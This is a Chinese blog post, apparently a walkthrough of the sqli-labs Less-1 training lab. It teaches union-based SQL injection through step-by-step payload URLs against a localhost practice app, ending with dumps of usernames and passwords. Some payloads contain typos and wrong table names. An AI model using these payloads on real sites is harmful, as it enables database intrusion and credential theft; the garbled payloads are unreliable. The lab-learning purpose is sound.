Sqli-labs less-01

Sqli-labs less-01,第1张

Sqli-labs less-01 mysql 基本用法
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
less-01

进入数据库:mysql -h127.0.0.1 -uroot -proot

show databases;
use security;
select * from where id='1' LIMIT 0,1;

limit 0,1; 其中第一位是从第几个开始,比如 0 代表从第一个开始,而第二位的1代表的就是显示多少个数据

在 sql 语句中:
--+:减减加
-- :减减空格
#:井号
都是代表注释的意思,表示此符号后不执行
在 sql 语句中:
or and
A and B :A,B 都为 true 才为 true
A or B :A,B 中有一个正确结果都是 true
order by number:
number : 代表是第几列,进行顺序排列

显示没有第五列

试出 mysql 数据库中 less-1 存在三列

这时,已知存在三列 1,2,3
所以这里用 union 
把 id=1 改为 id=-1 使其报错,执行 union 后面的 sql 语句

这时候 name 为2
password 为3
说明有回显,可以进行递用

函数的基本用法
system_user()           #当前系统用户
user()                  #当前登录用户
current_user()          #当前登录用户
database()              #当前使用的数据库
version()               #当前 mysql 版本信息
@@datadir               # mysql 的安装路径
@@version_compile_os    #当前的 *** 作系统

在上述中因为有回显,所以现在选择在 3 的位置做一个查库 *** 作
这时就会得到第一个数据库

使用 limit 取出更多的数据
因为在 web 网页中就只能显示一行
所以行是不变的,在列上发生变化就可以了

如上这样一个一个的输出很慢,所以用到
group_concat()
它会把数据连接成一行输出

这时 mysql 数据库就出来了
information_schema,challenges,mysql,performance_schema,security,sys

这时取 security 进行 *** 作,得到 security 中的表信息
emails,referers,uagents,users

在上一步 *** 作中的最后一个 table_schema='security'
不推荐使用单引号

把单引号去掉,在 security 前写入 0x 变为16进制
选中 security 然后点击 Encoding 在点击 Hex Encode

对 users 列表进行 *** 作
同样的 ‘’ 里面的东西一样转化为 16 进制

取出 user 里面的 username 和 password
使用一个批量的函数: concat_ws('~~',A,B)    表示:A~~B

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+

等价于

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws(0x7e7e,username,password)) from security.users --+

单引号里面的东西尽量变为 0x (16进制)

小结
1。  http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1'    #查看是否有注入
2。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' order by 3 --+ #查看有多少列
3。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,3 --+ #查看当前有哪些数据可以回显
4。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,database() --+ #查看当前数据库
5。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1 --+   #查看数据库 security 

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_caoncat(schema_name) from information_schema.schemata --+    #查看所有的数据库

6。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1’ union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1 --+    #查表

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2group_concat(table_name) from information_schema.tables where table_schema='security' --+    #查看所有的表

7。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='security' --+    #查询列信息

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='security' --+   #查看所有的列信息

8。 http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,concat_ws('~~',username,password) from security.users limit 1,1   #查询一个账号和密码

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+   #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。

或者是

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~~',username,password)) from security --+   #查看可以得到的所有账号和密码,并且使用 ~~ 符号进行分隔。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5659338.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存